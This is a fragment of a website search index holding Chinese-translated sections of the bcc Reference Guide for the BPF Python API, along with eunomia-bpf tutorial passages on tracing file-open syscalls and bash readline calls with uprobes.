reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » 许可证","id":"312","title":"许可证"},"313":{"body":"一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项，而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，bpf旧帮助函数bpf_probe_read()将不可用。一些现有的用户可能有隐式内存访问来访问用户内存，所以使用bpf_probe_read_kernel()会导致他们的应用程序失败。因此，对于非s390，重写器将对这些隐式内存访问使用bpf_probe_read()。对于s390，默认使用bpf_probe_read_kernel()，用户在访问用户内存时应显式使用bpf_probe_read_user()","breadcrumbs":"bcc Reference Guide » Rewriter","id":"313","title":"Rewriter"},"314":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"314","title":"bcc Python"},"315":{"body":"构造函数。","breadcrumbs":"bcc Reference Guide » 初始化","id":"315","title":"初始化"},"316":{"body":"语法: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) 创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。 必须提供text或src_file之一，不能两者都提供。 cflags指定要传递给编译器的额外参数，例如-DMACRO_NAME=value或-I/include/path。参数以数组形式传递，每个元素为一个额外的参数。注意，字符串不会按空格拆分，所以每个参数必须是数组的不同元素，例如[\"-include\", \"header.h\"]。 debug标志控制调试输出，可以使用或运算: DEBUG_LLVM_IR = 0x1 编译后的LLVM IR DEBUG_BPF = 0x2 加载的BPF字节码和分支时的寄存器状态 DEBUG_PREPROCESSOR = 0x4 预处理器的结果 DEBUG_SOURCE = 0x8 嵌入源码的ASM指令 DEBUG_BPF_REGISTER_STATE = 0x10 所有指令的寄存器状态，额外打印DEBUG_BPF的信息 DEBUG_BTF = 0x20 打印来自libbpf库的消息。 示例: BPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"命中！\\\\n\"); return 0; }'); # 定义程序为一个变量:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # 源文件:\nb = BPF(src_file = \"vfsreadlat.c\") # 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # 添加包含路径:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) 在原地的示例:\n[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code),\n[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) ### 2. USDT 语法: ```USDT({pid=pid | path=path})``` 创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。 参数: - pid: 附加到该进程ID。\n- path: 从此二进制路径检测USDT探针。 示例: ```Python\n# 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) 在原地的示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"316","title":"1. BPF"},"317":{"body":"","breadcrumbs":"bcc Reference Guide » 事件","id":"317","title":"事件"},"318":{"body":"语法: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") 通过内核动态跟踪函数入口，来检测内核函数event()，并将我们的C定义的函数name()附加到每次调用内核函数时被调用。 例如: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") 这将检测内核sys_clone()函数，并在每次调用时运行我们定义的BPF函数do_trace()。 您可以多次调用attach_kprobe()，并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。 有关如何从BPF中提取参数的详细信息，请参阅前面的kprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"318","title":"1. attach_kprobe()"},"319":{"body":"语法：BPF.attach_kretprobe(event=\"事件\", fn_name=\"名称\" [, maxactive=int]) 使用内核动态跟踪函数返回来检测内核函数event()的返回，并附加我们定义的C函数name()在内核函数返回时调用。 例如： b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") 这将检测内核的vfs_read()函数，每次调用该函数时都会执行我们定义的BPF函数do_return()。 您可以多次调用attach_kretprobe()函数，并将您的BPF函数附加到多个内核函数的返回值。 您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。 当在内核函数上安装kretprobe时，它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值，请参阅kprobes文档。 有关如何从BPF中提取返回值的详细信息，请参阅前面的kretprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"319","title":"2. attach_kretprobe()"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"语法：BPF.attach_tracepoint(tp=\"追踪点\", fn_name=\"名称\") 检测由tracepoint描述的内核追踪点，并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 TRACEPOINT_PROBE 语法是另一种方法，其优点是自动声明一个包含 tracepoint 参数的 args 结构体。在使用 attach_tracepoint() 时，tracepoint 参数需要在 BPF 程序中声明。 例如： # 定义 BPF 程序\nbpf_text = \"\"\"\n#include  struct urandom_read_args { // 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # 加载 BPF 程序\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") 注意，printarg() 的第一个参数现在是我们定义的结构体。 代码示例： code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"320","title":"3. attach_tracepoint()"},"321":{"body":"语法：BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") 用于操控位于 location 中的库或二进制文件中的用户级别函数 symbol()，使用用户级别动态跟踪该函数的入口，并将我们定义的 C 函数 name() 附加为在用户级别函数被调用时调用的函数。如果给定了 sym_off，则该函数将附加到符号的偏移量上。真实的地址addr可以替代sym，在这种情况下，sym必须设置为其默认值。如果文件是非PIE可执行文件，则addr必须是虚拟地址，否则它必须是相对于文件加载地址的偏移量。 可以在sym_re中提供普通表达式来代替符号名称。然后，uprobes将附加到与提供的正则表达式匹配的符号。 在名字参数中可以给出库名而不带lib前缀，或者给出完整路径（/usr/lib/...）。只能通过完整路径（/bin/sh）给出二进制文件。 例如: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") 这将在libc中对strlen()函数进行插装，并在调用该函数时调用我们的BPF函数count()。请注意，在libc中的libc中的\"lib\"是不必要的。 其他例子: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uprobe()，并将BPF函数附加到多个用户级函数。 有关如何从BPF工具获取参数的详细信息，请参见上一节uprobes。 原址示例： search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"321","title":"4. attach_uprobe()"},"322":{"body":"语法: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") 使用用户级动态跟踪从名为location的库或二进制文件中的用户级函数symbol()返回值的方式仪器化，并将我们定义的C函数name()附加到用户级函数返回时调用。 例如: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\")\n```。这将使用libc库对```strlen()```函数进行插装，并在其返回时调用我们的BPF函数```count()```。 其他示例： ```Python\nb.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uretprobe()，并将您的BPF函数附加到多个用户级函数上。 有关如何对BPF返回值进行插装的详细信息，请参阅前面的uretprobes部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"322","title":"5. attach_uretprobe()"},"323":{"body":"语法：USDT.enable_probe(probe=probe, fn_name=name) 将BPF C函数name附加到USDT探针probe。 示例： # 根据给定的PID启用USDT探针\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") 要检查您的二进制文件是否具有USDT探针以及它们的详细信息，可以运行readelf -n binary并检查stap调试部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"323","title":"6. USDT.enable_probe()"},"324":{"body":"语法：BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") 对由tracepoint（仅event，无category）描述的内核原始跟踪点进行插装，并在命中时运行BPF函数name()。 这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的RAW_TRACEPOINT_PROBE语法是一种替代方法。 例如： b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") 内部示例：\".\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"324","title":"7. attach_raw_tracepoint()"},"325":{"body":"语法: BPF.attach_raw_socket(fn, dev) 将一个BPF函数附加到指定的网络接口。 fn 必须是 BPF.function 类型，并且 bpf_prog 类型需要是 BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock 是一个非阻塞原始套接字，已经创建并绑定到 dev。 所有处理 dev 的网络数据包都会在经过 bpf_prog 处理后，被复制到 fn.sock 的 recv-q 中。可以使用 recv/recvfrom/recvmsg 来从 fn.sock 接收数据包。需要注意的是，如果在 recv-q 满了之后没有及时读取，复制的数据包将会被丢弃。 可以使用这个功能来像 tcpdump 一样捕获网络数据包。 可以使用ss --bpf --packet -p来观察 fn.sock。 示例: BPF.attach_raw_socket(bpf_func, ifname) 示例位置: 搜索 /示例","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"325","title":"8. attach_raw_socket()"},"326":{"body":"语法: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) 改装由 dev 描述的网络驱动程序，然后接收数据包，并使用标志运行 BPF 函数 fn_name()。 以下是可选的标志列表。 # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) 您可以像这样使用标志: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) 标志的默认值为0。这意味着如果没有带有 device 的xdp程序，fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联，旧程序将被新的fn程序替换。\".当前，bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。 1. XDP_FLAGS_UPDATE_IF_NOEXIST 如果已经将XDP程序附加到指定的驱动程序上，再次附加XDP程序将失败。 2. XDP_FLAGS_SKB_MODE 驱动程序不支持XDP，但内核模拟支持它。 XDP程序可以工作，但没有真正的性能优势，因为数据包无论如何都会传递给内核堆栈，然后模拟XDP - 这通常适用于家用电脑，笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。 3. XDP_FLAGS_DRV_MODE 驱动程序具有XDP支持，并且可以将数据包直接传递给XDP，无需内核堆栈交互 - 少数驱动程序可以支持此功能，通常用于企业级硬件。 4. XDP_FLAGS_HW_MODE XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。 例如： b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) 这将为网络设备ens1安装工具，并在接收数据包时运行我们定义的BPF函数do_xdp()。 不要忘记在最后调用b.remove_xdp(\"ens1\")！ 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"326","title":"9. attach_xdp()"},"327":{"body":"语法：BPF.attach_func(fn, attachable_fd, attach_type [, flags]) 将指定类型的BPF函数附加到特定的attachable_fd上。如果attach_type是BPF_FLOW_DISSECTOR，则预期该函数将附加到当前的网络命名空间，并且attachable_fd必须为0。 例如： b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)\n```注意。当附加到“全局”钩子（xdp、tc、lwt、cgroup）时。如果程序终止后不再需要“BPF 函数”，请确保在程序退出时调用 `detach_func`。 示例中的内部代码： [search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), ### 11. detach_func() 语法：```BPF.detach_func(fn, attachable_fd, attach_type)``` 断开指定类型的 BPF 函数。 例如： ```Python\nb.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数 示例中的内部代码： search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"327","title":"10. attach_func()"},"328":{"body":"语法：BPF.detach_kprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kprobe 处理函数。 例如： b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_entry\" 函数","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"328","title":"12. detach_kprobe()"},"329":{"body":"语法：BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kretprobe 处理函数。 例如： b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_return\" 函数","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"329","title":"13. detach_kretprobe()"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"","breadcrumbs":"bcc Reference Guide » 调试输出","id":"330","title":"调试输出"},"331":{"body":"语法：BPF.trace_print(fmt=\"fields\") 该方法持续读取全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件并打印其内容。可以通过 BPF 和 bpf_trace_printk() 函数将数据写入该文件，但该方法存在限制，包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。 参数： fmt: 可选，可以包含字段格式化字符串，默认为 None。 示例： # 将 trace_pipe 输出原样打印：\nb.trace_print() # 打印 PID 和消息：\nb.trace_print(fmt=\"{1} {5}\") 示例中的内部代码： search /examples 。\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"331","title":"1. trace_print()"},"332":{"body":"语法: BPF.trace_fields(nonblocking=False) 该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行，并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入，但该方法有一些限制，包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。 参数: nonblocking: 可选参数，默认为 False。当设置为 True 时，程序将不会阻塞等待输入。 示例: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] 内联示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"332","title":"2. trace_fields()"},"333":{"body":"BPF 程序的正常输出有两种方式: 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。 map 汇总: 使用 items() 或 print_log2_hist()，在 Maps 部分有介绍。","breadcrumbs":"bcc Reference Guide » 输出 API","id":"333","title":"输出 API"},"334":{"body":"语法: BPF.perf_buffer_poll(timeout=T) 该方法从所有打开的 perf 环形缓冲区中轮询，并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。 timeout 参数是可选的，并以毫秒为单位计量。如果未提供，则轮询将无限期进行。 示例: # 循环调用带有回调函数 print_event 的 open_perf_buffer\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 内联示例: 代码 \".\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"334","title":"1. perf_buffer_poll()"},"335":{"body":"语法: BPF.ring_buffer_poll(timeout=T) 这个方法从所有已打开的ringbuf环形缓冲区中轮询数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 timeout参数是可选的，以毫秒为单位测量。如果没有指定，轮询将持续到没有更多的数据或回调函数返回负值。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"335","title":"2. ring_buffer_poll()"},"336":{"body":"语法: BPF.ring_buffer_consume() 这个方法从所有已打开的ringbuf环形缓冲区中消费数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 与ring_buffer_poll不同，这个方法在尝试消费数据之前 不会轮询数据 。这样可以减少延迟，但会增加CPU消耗。如果不确定使用哪种方法，建议使用ring_buffer_poll。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"336","title":"3. ring_buffer_consume()"},"337":{"body":"Maps是BPF数据存储器，在bcc中用于实现表、哈希和直方图等更高层次的对象。","breadcrumbs":"bcc Reference Guide » Map APIs","id":"337","title":"Map APIs"},"338":{"body":"语法: BPF.get_table(name)\".返回一个table对象。由于可以将表格作为BPF项进行读取，因此此功能不再使用。例如：BPF[name]。 示例： counts = b.get_table(\"counts\") counts = b[\"counts\"] 这两者是等价的。","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"338","title":"1. get_table()"},"339":{"body":"语法：table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) 此操作基于BPF中定义的表格（BPF_PERF_OUTPUT()），将回调Python函数callback关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过page_cnt参数指定perf环形缓冲区的大小，默认为8个页面，必须是页数的2的幂次方。如果回调函数不能快速处理数据，则可能丢失某些提交的数据。lost_cb用于记录/监视丢失的计数。如果lost_cb是默认的None值，则只会打印一行消息到stderr。 示例： # 处理事件\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环通过回调函数打印事件\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 请注意，传输的数据结构需要在BPF程序中以C方式声明。例如： // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] 在Python中，您可以让bcc自动生成C声明中的数据结构（建议方法）： def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义： # 在Python中定义输出数据结构\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)]\"。def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在此处的示例中：\n[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),\n[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code),\n[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) ### 3. items() 语法: ```table.items()``` 返回一个表中的键数组。它可以与BPF_HASH映射一起使用，从而获取并迭代键。 示例: ```Python\n# 打印输出\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 此示例还使用sorted()方法按值排序。 在此处的示例中： search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"339","title":"2. open_perf_buffer()"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"语法: table.values() 返回一个表中的值数组。","breadcrumbs":"bcc Reference Guide » 4. values()","id":"340","title":"4. values()"},"341":{"body":"语法: table.clear() 清除表：删除所有条目。 示例: # 每秒打印映射摘要：\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() 在此处的示例中: search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"341","title":"5. clear()"},"342":{"body":"语法: table.items_lookup_and_delete_batch()。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表：删除所有条目。 您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。 示例: # 每秒打印调用率:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"342","title":"6. items_lookup_and_delete_batch()"},"343":{"body":"语法: table.items_lookup_batch() 使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。 示例: # 打印映射的当前值:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"343","title":"7. items_lookup_batch()"},"344":{"body":"语法: table.items_delete_batch(keys) 当keys为None时，它会清除BPF_HASH映射的所有条目。它比table.clear()更有效，因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。 参数: keys是可选的，默认为None。","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"344","title":"8. items_delete_batch()"},"345":{"body":"语法: table.items_update_batch(keys, values) 使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内（在1到最大条目之间）。它需要内核v5.6。 参数: keys是要更新的键列表 values是包含新值的列表。### 10. print_log2_hist() 语法: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储，可使用BPF函数bpf_log2l()完成。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个辅助键，多个表格将被打印，并且section_header可以用作每个表格的标题描述。 section_print_fn: 如果section_print_fn不为None，则将传递给bucket值。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") 输出: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 这个输出显示了一个多模式分布，最大模式是128->255 kbytes，计数为800。 这是一种高效的数据概括方法，因为概括是在内核中执行的，只有计数列被传递到用户空间。 实际示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"345","title":"9. items_update_batch()"},"346":{"body":"以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围，例如0到100。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个二级键，则会打印多个表格，并且section_header可以用作每个表格的头部描述。 section_print_fn: 如果section_print_fn不为None，则会将bucket的值传递给它。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") 输出: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | |。\n```### 16 : 2 |**** |\n[...] 这是一种高效的数据汇总方式，因为汇总是在内核中执行的，只有计数列中的值传递到用户空间。 现场示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)","id":"346","title":"11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)"},"347":{"body":"语法: table.open_ring_buffer(callback, ctx=None) 此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表，并将Python回调函数callback与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新（Linux 5.8+）推荐机制的一部分。不同于perf缓冲区，ringbuf大小在BPF程序中指定，作为BPF_RINGBUF_OUTPUT宏的一部分。如果回调函数处理数据不够快，可能会丢失一些提交的数据。在这种情况下，事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。 示例: # 处理事件\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环并使用print_event回调函数\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() 请注意，在BPF程序中，传输的数据结构需要在C中声明。例如: // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] 在Python中，您可以让bcc自动从C的声明中生成数据结构（推荐）: def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义: TASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", 